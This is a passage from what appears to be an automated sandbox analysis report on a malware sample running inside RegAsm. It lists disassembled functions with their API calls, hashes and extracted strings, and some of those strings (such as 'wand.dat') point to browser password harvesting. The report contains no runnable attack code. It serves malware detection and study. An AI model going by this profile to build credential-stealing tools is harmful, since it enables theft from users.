                      • Opcode Fuzzy Hash: 892276959a0c47848777e093024f27755814d5c903fce7db561a0975b0ee82c0
                      • Instruction Fuzzy Hash: 71310DB1D013589BDB10EFA9DC816DDBBB4FB08345F10407BE548BB282DB385A468F99
                      Function 004185CA Relevance: 9.1, APIs: 6, Instructions: 78COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004185FC
                      • GetFileAttributesExW.KERNEL32(00000000,00000000,?), ref: 0041860A
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418650
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@AttributesFilememset
                      • String ID:
                      • API String ID: 776155459-0
                      • Opcode ID: 4b39cef6f19030deb93fe73f67a1ed4f2de523a71059e199493297a9b5600ca9
                      • Instruction ID: e31a4ad29e7632976921f0390f19c15604a95804a640e9d04457ce0419b5f72c
                      • Opcode Fuzzy Hash: 4b39cef6f19030deb93fe73f67a1ed4f2de523a71059e199493297a9b5600ca9
                      • Instruction Fuzzy Hash: 1211E632A04115EFDB209FA49DC59FF73A8EB45318B21013FF911E2280DF789D8196AE
                      Function 004174F5 Relevance: 9.1, APIs: 6, Instructions: 61COMMON
                      Download Yara Rule
                      APIs
                      • AreFileApisANSI.KERNEL32 ref: 004174FC
                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041751A
                      • malloc.MSVCRT ref: 00417524
                      • MultiByteToWideChar.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000), ref: 0041753B
                      • ??3@YAXPAX@Z.MSVCRT ref: 00417544
                      • ??3@YAXPAX@Z.MSVCRT ref: 00417562
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@ByteCharMultiWide$ApisFilemalloc
                      • String ID:
                      • API String ID: 2308052813-0
                      • Opcode ID: 57b08e0afea0ce6944352db5cfd1372888f4bdadf73f296c46880c7ddd44ae0d
                      • Instruction ID: 8d188238c5fd2fb6163cec5331830b967abe0ebba74b79ef9884251e0929a2bc
                      • Opcode Fuzzy Hash: 57b08e0afea0ce6944352db5cfd1372888f4bdadf73f296c46880c7ddd44ae0d
                      • Instruction Fuzzy Hash: 9701D4726081257BEB215B7A9C41DEF3AAEDF463B47210226FC14E3280EA38DD4141BD
                      Function 00418197 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102COMMON
                      Download Yara Rule
                      APIs
                      • GetTempPathW.KERNEL32(000000E6,?), ref: 004181DB
                      • GetTempPathA.KERNEL32(000000E6,?), ref: 00418203
                      • ??3@YAXPAX@Z.MSVCRT ref: 0041822B
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: PathTemp$??3@
                      • String ID: %s\etilqs_$etilqs_
                      • API String ID: 1589464350-1420421710
                      • Opcode ID: 56ec1b67c7de480e9defb5870fd9659a5ac2ef2fb157f5962cb97a1bc3191f52
                      • Instruction ID: b359b55a6514fc6c55a0405950767d5f88b37029f74eadb26d8a0dc7501745d5
                      • Opcode Fuzzy Hash: 56ec1b67c7de480e9defb5870fd9659a5ac2ef2fb157f5962cb97a1bc3191f52
                      • Instruction Fuzzy Hash: 43313931A046169BE725A3669C41BFB735C9B64308F2004AFE881C2283EF7CDEC54A5D
                      Function 0040973C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31windowCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ErrorLastMessage_snwprintf
                      • String ID: Error$Error %d: %s
                      • API String ID: 313946961-1552265934
                      • Opcode ID: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                      • Instruction ID: 46023337ddced075b6ccb796d059e6b1f6412beb8ed51135551ede388a9512b7
                      • Opcode Fuzzy Hash: a33dc607cfdbe5323d0e9dcae57c7c504b94496520966edc9fba833a94f57729
                      • Instruction Fuzzy Hash: C1F0A7765402086BDB11A795DC06FDA73BCFB45785F0404ABB544A3181DAB4EA484A59
                      Function 00435A61 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 394COMMON
                      Download Yara Rule
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID: foreign key constraint failed$new$oid$old
                      • API String ID: 0-1953309616
                      • Opcode ID: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                      • Instruction ID: 109d2bbf80905f1e2503505ff3b1f335ff26ebd6ff49ac5ca42eb4ed0232da3f
                      • Opcode Fuzzy Hash: 069b176ce5c0b1780be5899369789ed0400efb36521cc305734fd4b3024b452b
                      • Instruction Fuzzy Hash: 71E19271E00318EFDF14DFA5D882AAEBBB5EF08304F54406EE805AB351DB799A01CB65
                      Function 00431671 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 231COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      • unknown column "%s" in foreign key definition, xrefs: 00431858
                      • foreign key on %s should reference only one column of table %T, xrefs: 004316CD
                      • number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 004316F5
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy
                      • String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
                      • API String ID: 3510742995-272990098
                      • Opcode ID: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                      • Instruction ID: d29657cdd308451ad819b70b0710bc7d1770ace047979dc07f2e4ef1020519d4
                      • Opcode Fuzzy Hash: e905bcb7075b3ffde12d97cbb86947b7ecee93158e4b53cf1fdf11e57d7b5828
                      • Instruction Fuzzy Hash: B7913E75A00205DFCB14DF99C481AAEBBF1FF49314F25815AE805AB312DB35E941CF99
                      Function 0044A6E0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 84COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpymemset
                      • String ID: gj
                      • API String ID: 1297977491-4203073231
                      • Opcode ID: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                      • Instruction ID: b45f8a370873a883e9703370fbfe8b0477d3556cf02d11e6db591a78d085f858
                      • Opcode Fuzzy Hash: 33c29578f6527905f4abec1227faf2173c8a70e2811538addd66a8855e8dc5c8
                      • Instruction Fuzzy Hash: 95213DB67403002BE7209A39CC4165B7B6D9FC6318F0A481EF6464B346E67DD605C756
                      Function 0040E946 Relevance: 7.6, APIs: 5, Instructions: 60COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8EC
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E8FA
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E90B
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E922
                        • Part of subcall function 0040E8E0: ??3@YAXPAX@Z.MSVCRT ref: 0040E92B
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E961
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E974
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E987
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E99A
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040E9D3
                        • Part of subcall function 0040AA04: ??3@YAXPAX@Z.MSVCRT ref: 0040AA0B
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 9dde93f155bc57f068176677874d89208783a1ee477747775cc83fd265c4fbdd
                      • Instruction ID: 098569c1990a85f87ddbd530571c52e66e2f7ba0f471894b996c1416d461d1fd
                      • Opcode Fuzzy Hash: 9dde93f155bc57f068176677874d89208783a1ee477747775cc83fd265c4fbdd
                      • Instruction Fuzzy Hash: 5001A932A01A2097C665BB27A50195EB354BE86B24316896FF844773C1CB3C6C61C6DF
                      Function 0041748F Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                      Download Yara Rule
                      APIs
                      • AreFileApisANSI.KERNEL32 ref: 00417497
                      • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 004174B7
                      • malloc.MSVCRT ref: 004174BD
                      • WideCharToMultiByte.KERNEL32(00000001,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 004174DB
                      • ??3@YAXPAX@Z.MSVCRT ref: 004174E4
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ByteCharMultiWide$??3@ApisFilemalloc
                      • String ID:
                      • API String ID: 2903831945-0
                      • Opcode ID: d5ff2a264155eb9e3ce85c6bda5726e1366a88793ef295ade9d945fa0d444da7
                      • Instruction ID: 68224c9aa4b31b20fa5037399352f9c2f04b40a845063e8f60522cdb36b448b3
                      • Opcode Fuzzy Hash: d5ff2a264155eb9e3ce85c6bda5726e1366a88793ef295ade9d945fa0d444da7
                      • Instruction Fuzzy Hash: DE01A4B150412DBEAF115FA99C80CAF7E7CEA463FC721422AF514E2290DA345E405AB9
                      Function 0040D441 Relevance: 7.5, APIs: 5, Instructions: 49COMMON
                      Download Yara Rule
                      APIs
                      • GetParent.USER32(?), ref: 0040D453
                      • GetWindowRect.USER32(?,?), ref: 0040D460
                      • GetClientRect.USER32(00000000,?), ref: 0040D46B
                      • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0040D47B
                      • SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 0040D497
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Window$Rect$ClientParentPoints
                      • String ID:
                      • API String ID: 4247780290-0
                      • Opcode ID: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                      • Instruction ID: 8744084584fea1eb3916f9079d499296a2dd08f7759f51c0708cf8f54c9212ed
                      • Opcode Fuzzy Hash: 51bf500d43eb7ed80d01eeab879738f26fa22579f9dd5d7918c8ee0e3f904b1b
                      • Instruction Fuzzy Hash: 62018836801129BBDB11EBA6CC49EFFBFBCFF06310F048069F901A2180D778A5018BA5
                      Function 00445093 Relevance: 7.5, APIs: 5, Instructions: 46COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                      • ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                      • memset.MSVCRT ref: 004450CD
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      • ??3@YAXPAX@Z.MSVCRT ref: 004450F0
                        • Part of subcall function 00444E84: memchr.MSVCRT ref: 00444EBF
                        • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F63
                        • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F75
                        • Part of subcall function 00444E84: memcpy.MSVCRT ref: 00444F9D
                      • CloseHandle.KERNEL32(00000000), ref: 004450F7
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Filememcpy$??2@??3@CloseCreateHandleReadSizememchrmemset
                      • String ID:
                      • API String ID: 1471605966-0
                      • Opcode ID: e6bd7317cd4251b1e8eae304c5381edf11c17e01417ca171e36e0e10a1f16311
                      • Instruction ID: af7e2442fb2a0afe256a59df9b01c6fa6c67666c78107f96d02934f32f814c95
                      • Opcode Fuzzy Hash: e6bd7317cd4251b1e8eae304c5381edf11c17e01417ca171e36e0e10a1f16311
                      • Instruction Fuzzy Hash: D8F0C2765002107BE5207736AC8AEAB3A5CDF96771F11893FF416921D2EE698814C1BD
                      Function 0044474A Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45COMMON
                      Download Yara Rule
                      APIs
                      • wcscpy.MSVCRT ref: 0044475F
                      • wcscat.MSVCRT ref: 0044476E
                      • wcscat.MSVCRT ref: 0044477F
                      • wcscat.MSVCRT ref: 0044478E
                        • Part of subcall function 004099C6: wcslen.MSVCRT ref: 004099CD
                        • Part of subcall function 004099C6: memcpy.MSVCRT ref: 004099E3
                        • Part of subcall function 00409A90: lstrcpyW.KERNEL32(?,?), ref: 00409AA5
                        • Part of subcall function 00409A90: lstrlenW.KERNEL32(?), ref: 00409AAC
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: wcscat$lstrcpylstrlenmemcpywcscpywcslen
                      • String ID: \StringFileInfo\
                      • API String ID: 102104167-2245444037
                      • Opcode ID: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                      • Instruction ID: e4f437c51a7ffcfb72b972a214432876dbdec8abc2c75880463b8380eb377783
                      • Opcode Fuzzy Hash: ab9a2aafb99aa2c2dc16e93ced4cdbf5d312534483fca915021789ec54b8a1ce
                      • Instruction Fuzzy Hash: 41018FB290021DB6EF10EAA1DC45EDF73BCAB05304F0004B7B514F2052EE38DB969B69
                      Function 0040E8E0 Relevance: 7.5, APIs: 5, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                      • Instruction ID: 8b058f36177a858601f18eb469b8e3bd7c1df3fc7b9e847ab044313c89d6339d
                      • Opcode Fuzzy Hash: 7720251f6b3597deba6bb463f6abe47e07af712d95c5f1ebbc7652e386869f9d
                      • Instruction Fuzzy Hash: 98F012B25047015FD760AF6AA8C491BF3E9AB597147668C3FF149D3641CB38FC508A1C
                      Function 0040F508 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$??3@
                      • String ID: g4@
                      • API String ID: 3314356048-2133833424
                      • Opcode ID: d5a05b92b3455112f10c9f31d65c512587a8559eeac8cc3fc14f0db32937a076
                      • Instruction ID: 6372a4083673351870aa2a156e9431cadfa41d37230e9e7fabcd635cb7c3c96e
                      • Opcode Fuzzy Hash: d5a05b92b3455112f10c9f31d65c512587a8559eeac8cc3fc14f0db32937a076
                      • Instruction Fuzzy Hash: D2217A30900604EFCB20DF29C94182ABBF5FF447247204A7EE852A3B91E735EE119B04
                      Function 004100D7 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004100FB
                      • memset.MSVCRT ref: 00410112
                        • Part of subcall function 0040F5BE: wcscpy.MSVCRT ref: 0040F5C3
                        • Part of subcall function 0040F5BE: _wcslwr.MSVCRT ref: 0040F5FE
                      • _snwprintf.MSVCRT ref: 00410141
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$_snwprintf_wcslwrwcscpy
                      • String ID: </%s>
                      • API String ID: 3400436232-259020660
                      • Opcode ID: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                      • Instruction ID: d6b380c41b5e3e458bf6abeca455f552dea24a705517b0a2e3702c553642f250
                      • Opcode Fuzzy Hash: dc58dcbe4721772b8e09841cb0bf69786816bd9c9006e9a76d773a39c29a63fb
                      • Instruction Fuzzy Hash: 9B01DBF3D0012977D730A755CC46FEA76ACEF45304F0000B6BB08B3186DB78DA458A99
                      Function 0040D553 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040D58D
                      • SetWindowTextW.USER32(?,?), ref: 0040D5BD
                      • EnumChildWindows.USER32(?,Function_0000D4F5,00000000), ref: 0040D5CD
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ChildEnumTextWindowWindowsmemset
                      • String ID: caption
                      • API String ID: 1523050162-4135340389
                      • Opcode ID: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                      • Instruction ID: dcfab03f3ae0740f4c11e1fd8af26e22289cdce227bdcda27870e2dbaf68b2c3
                      • Opcode Fuzzy Hash: c23acb22e5a8502154e4be65b33a4ced3ce6ae2c099f2d24681839129fd3d8a7
                      • Instruction Fuzzy Hash: 50F08131D0031876FB206B95CC4EB8A3268AB04744F000076BE04B61D2DBB8EA44C69D
                      Function 00401137 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32windowCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00409BFD: memset.MSVCRT ref: 00409C07
                        • Part of subcall function 00409BFD: wcscpy.MSVCRT ref: 00409C47
                      • CreateFontIndirectW.GDI32(?), ref: 00401156
                      • SendDlgItemMessageW.USER32(?,000003EC,00000030,00000000,00000000), ref: 00401175
                      • SendDlgItemMessageW.USER32(?,000003EE,00000030,?,00000000), ref: 00401193
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ItemMessageSend$CreateFontIndirectmemsetwcscpy
                      • String ID: MS Sans Serif
                      • API String ID: 210187428-168460110
                      • Opcode ID: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                      • Instruction ID: 44e142790c58e2983bb51e892a2c7280827b5342727586ee11fe1c2be2fb852b
                      • Opcode Fuzzy Hash: 0ef3d87a35f2b5fcdfef1a077cef136f9d6d3eb82dfd4d3c6e3e8344e6d66d37
                      • Instruction Fuzzy Hash: 7CF082B5A4030877EB326BA1DC46F9A77BDBB44B01F040935F721B91D1D3F4A585C658
                      Function 0041D893 Relevance: 6.3, APIs: 5, Instructions: 82COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy$memcmp
                      • String ID:
                      • API String ID: 3384217055-0
                      • Opcode ID: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                      • Instruction ID: f5df6941464580ef2fdae31f27b7f31021858bb2d0e37ec30fcb1df3a02010a9
                      • Opcode Fuzzy Hash: b300709f8a896244993036e355843064c877904d0b203d23fc10c8ecfa49f6ec
                      • Instruction Fuzzy Hash: 8821B2B2E10249ABDB14EA91DC46EDF73FC9B44704F01442AF512D7181EB28E644C725
                      Function 004055C5 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 122COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 0040560C
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000,?,?,00402E6F), ref: 0040D173
                        • Part of subcall function 0040D134: LoadStringW.USER32(00000000,?,?), ref: 0040D20C
                        • Part of subcall function 0040D134: memcpy.MSVCRT ref: 0040D24C
                        • Part of subcall function 0040D134: wcscpy.MSVCRT ref: 0040D1B5
                        • Part of subcall function 0040D134: wcslen.MSVCRT ref: 0040D1D3
                        • Part of subcall function 0040D134: GetModuleHandleW.KERNEL32(00000000), ref: 0040D1E1
                        • Part of subcall function 0040A45A: memset.MSVCRT ref: 0040A47B
                        • Part of subcall function 0040A45A: _snwprintf.MSVCRT ref: 0040A4AE
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4BA
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4D2
                        • Part of subcall function 0040A45A: wcslen.MSVCRT ref: 0040A4E0
                        • Part of subcall function 0040A45A: memcpy.MSVCRT ref: 0040A4F3
                        • Part of subcall function 0040A212: wcscpy.MSVCRT ref: 0040A269
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpywcslen$HandleModulememsetwcscpy$LoadString_snwprintf
                      • String ID: *.*$dat$wand.dat
                      • API String ID: 2618321458-1828844352
                      • Opcode ID: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                      • Instruction ID: e27ea46a2f82f1f177a07810d763c9ecc86b2647b265d762bc330c580f82b585
                      • Opcode Fuzzy Hash: 5e8bba3b09b46c55a34cdaf5677a7ea6a58b6119ecbf68cda4806ea60e88d929
                      • Instruction Fuzzy Hash: BF419B71600205AFDB10AF65DC85EAEB7B9FF40314F10802BF909AB1D1EF7999958F89
                      Function 00412018 Relevance: 6.1, APIs: 4, Instructions: 99windowkeyboardCOMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00412057
                        • Part of subcall function 0040A116: ShellExecuteW.SHELL32(?,open,?,0044E518,0044E518,00000005), ref: 0040A12C
                      • SendMessageW.USER32(00000000,00000423,00000000,00000000), ref: 004120C7
                      • GetMenuStringW.USER32(?,00000103,?,0000004F,00000000), ref: 004120E1
                      • GetKeyState.USER32(00000010), ref: 0041210D
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ExecuteMenuMessageSendShellStateStringmemset
                      • String ID:
                      • API String ID: 3550944819-0
                      • Opcode ID: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                      • Instruction ID: 97bad96470fefb965444fbd8e179d7ef3b872eae7f66eff2ef5a186de824ffeb
                      • Opcode Fuzzy Hash: c6d93ad011cba3496463107dfdcdd9c7ff15c0246bd0a1dd9e2f28c94b3d1ec4
                      • Instruction Fuzzy Hash: 5341C330600305EBDB209F15CD88B9677A8AB54324F10817AEA699B2E2D7B89DD1CB14
                      Function 0040A8D0 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                      Download Yara Rule
                      APIs
                      • wcslen.MSVCRT ref: 0040A8E2
                        • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                        • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                        • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040A908
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040A92B
                      • memcpy.MSVCRT ref: 0040A94F
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$memcpy$mallocwcslen
                      • String ID:
                      • API String ID: 3023356884-0
                      • Opcode ID: 4562b1f94f0a461de08a7f5e91ae4aaaeb7b7426ec7425c8aec4e78307d57c52
                      • Instruction ID: f32a9ac0308abec2140ef864181b54c8d04bf3279582b466e144db770ea3622c
                      • Opcode Fuzzy Hash: 4562b1f94f0a461de08a7f5e91ae4aaaeb7b7426ec7425c8aec4e78307d57c52
                      • Instruction Fuzzy Hash: 64217CB2200704EFC720DF18D88189AB3F9FF453247118A2EF866AB6A1CB35AD15CB55
                      Function 0040B1D1 Relevance: 6.1, APIs: 4, Instructions: 67COMMON
                      Download Yara Rule
                      APIs
                      • wcslen.MSVCRT ref: 0040B1DE
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B201
                        • Part of subcall function 004099F4: malloc.MSVCRT ref: 00409A10
                        • Part of subcall function 004099F4: memcpy.MSVCRT ref: 00409A28
                        • Part of subcall function 004099F4: ??3@YAXPAX@Z.MSVCRT ref: 00409A31
                      • ??3@YAXPAX@Z.MSVCRT ref: 0040B224
                      • memcpy.MSVCRT ref: 0040B248
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@$memcpy$mallocwcslen
                      • String ID:
                      • API String ID: 3023356884-0
                      • Opcode ID: 6ce6fee0dcc9b9c9ebe83d30a233e08065b6d511c8ed6dc8d89b241ff4cd5fb7
                      • Instruction ID: 71128cbd9221161776fa816c6212d75478d488e0bdd8d9cf72ea7cd81dda7be0
                      • Opcode Fuzzy Hash: 6ce6fee0dcc9b9c9ebe83d30a233e08065b6d511c8ed6dc8d89b241ff4cd5fb7
                      • Instruction Fuzzy Hash: 02215BB2500604EFD720DF18D881CAAB7F9EF49324B114A6EE452976A1CB35B9158B98
                      Function 0041298C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 67COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000A.00000002.391607983.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_10_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memcpy
                      • String ID: @
                      • API String ID: 3510742995-2766056989
                      • Opcode ID: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                      • Instruction ID: b25eae0e74258469ce0af521155fdf6a80f479b4e9ffe9ec94392e3587c9c40c
                      • Opcode Fuzzy Hash: 871df5fef43ba47fad24df649b94f0d233f9868d8bda670e26c25dba733484ff
                      • Instruction Fuzzy Hash: 65115EF2A003057FDB349E15D980C9A77A8EF50394B00062FF90AD6151E7B8DEA5C7D9
